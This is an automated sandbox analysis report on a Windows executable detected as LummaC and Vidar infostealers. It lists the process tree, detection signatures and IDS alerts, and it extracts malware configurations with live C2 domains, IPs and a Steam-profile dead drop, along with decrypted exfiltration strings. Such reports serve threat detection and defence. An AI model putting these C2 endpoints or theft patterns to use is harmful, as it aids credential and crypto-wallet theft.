Edit tour

Windows Analysis Report
VLSiVR4Qxs.exe

Overview

General Information

Sample name:	VLSiVR4Qxs.exe renamed because original name is a hash value
Original sample name:	d1eed00237bf1b0c9024f383ac8fd19c.exe
Analysis ID:	1528262
MD5:	d1eed00237bf1b0c9024f383ac8fd19c
SHA1:	33ca0b2914883c174c877525b085370783eeebce
SHA256:	74d97d001058dc33a510dc4da4001a69ebe56b63facb1720f8959714953d9746
Tags:	32exetrojan
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Country aware sample found (crashes after keyboard check)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

VLSiVR4Qxs.exe (PID: 3472 cmdline: "C:\Users\user\Desktop\VLSiVR4Qxs.exe" MD5: D1EED00237BF1B0C9024F383AC8FD19C)

MSBuild.exe (PID: 6112 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

HCAEHDHDAK.exe (PID: 1248 cmdline: "C:\ProgramData\HCAEHDHDAK.exe" MD5: 64FE8DFA186F801847E6C710F30B2884)

MSBuild.exe (PID: 1972 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 2968 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6360 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 4036 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

WerFault.exe (PID: 1788 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 1604 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3340 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 276 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cmd.exe (PID: 7116 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\HJECAAKKFHCF" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2132 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

WerFault.exe (PID: 2676 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 268 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["exemplarou.sbs", "wickedneatr.sbs", "invinjurhey.sbs", "laddyirekyi.sbs", "isoplethui.sbs", "frizzettei.sbs", "bemuzzeki.sbs", "exilepolsiy.sbs"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "af641acce3f8c85bf2490a9b3aa972c5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000C.00000002.2729402755.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x5ef8e:$x5: vchost.exe 0x5ff8e:$x5: vchost.exe
00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VLSiVR4Qxs.exe PID: 3472	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: VLSiVR4Qxs.exe PID: 3472	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: VLSiVR4Qxs.exe PID: 3472	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 6112	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6112	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6112	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.MSBuild.exe.43f8e0.1.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x1c2ae:$x5: vchost.exe
12.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.43dcd8.2.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x212b6:$x5: vchost.exe 0x222b6:$x5: vchost.exe
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.43f8e0.1.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x1f6ae:$x5: vchost.exe 0x206ae:$x5: vchost.exe
0.2.VLSiVR4Qxs.exe.3edad8.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.VLSiVR4Qxs.exe.3edad8.2.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.2.HCAEHDHDAK.exe.60000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.VLSiVR4Qxs.exe.3c0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.VLSiVR4Qxs.exe.3c0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x5ef8e:$x5: vchost.exe 0x5ff8e:$x5: vchost.exe
0.2.VLSiVR4Qxs.exe.3edad8.2.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.VLSiVR4Qxs.exe.3edad8.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 95.164.90.97, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6112, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49831

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:01:02.350033+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49972	188.114.97.3	443	TCP
2024-10-07T18:01:03.354503+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49979	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:01:02.350033+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49972	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:01:03.354503+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49979	188.114.97.3	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:01:05.643073+0200	2054495	1	A Network Trojan was detected	192.168.2.5	49990	45.132.206.251	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:42.089563+0200	2044247	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.5	49831	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:42.819465+0200	2051831	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.5	49831	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:00:41.446685+0200	2049087	1	A Network Trojan was detected	192.168.2.5	49831	95.164.90.97	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T18:01:00.569307+0200	2803304	3	Unknown Traffic	192.168.2.5	49961	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: VLSiVR4Qxs.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199780418869	URL Reputation: Label: malware
Source: https://t.me/ae5ed	URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1310458
Source: C:\ProgramData\HCAEHDHDAK.exe	Avira: detection malicious, Label: HEUR/AGEN.1310458

Found malware configuration

Source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "af641acce3f8c85bf2490a9b3aa972c5"}
Source: 8.2.HCAEHDHDAK.exe.60000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["exemplarou.sbs", "wickedneatr.sbs", "invinjurhey.sbs", "laddyirekyi.sbs", "isoplethui.sbs", "frizzettei.sbs", "bemuzzeki.sbs", "exilepolsiy.sbs"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\HCAEHDHDAK.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: VLSiVR4Qxs.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\HCAEHDHDAK.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: VLSiVR4Qxs.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: wickedneatr.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: invinjurhey.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: laddyirekyi.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exilepolsiy.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: bemuzzeki.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: isoplethui.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: frizzettei.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: exemplarou.sbs
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Screen Resoluton:
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: Workgroup: -
Source: 00000008.00000002.2713240111.000000000008D000.00000004.00000001.01000000.0000000A.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6C4C6C80

Source: VLSiVR4Qxs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49979 version: TLS 1.2

Source: VLSiVR4Qxs.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2751077043.0000000035A67000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2744567642.0000000029B8C000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2775063225.000000006C6EF000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2737291657.000000001D6E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2721543565.0000000017776000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003D9ABF FindFirstFileExW,	0_2_003D9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00079ABF FindFirstFileExW,	8_2_00079ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
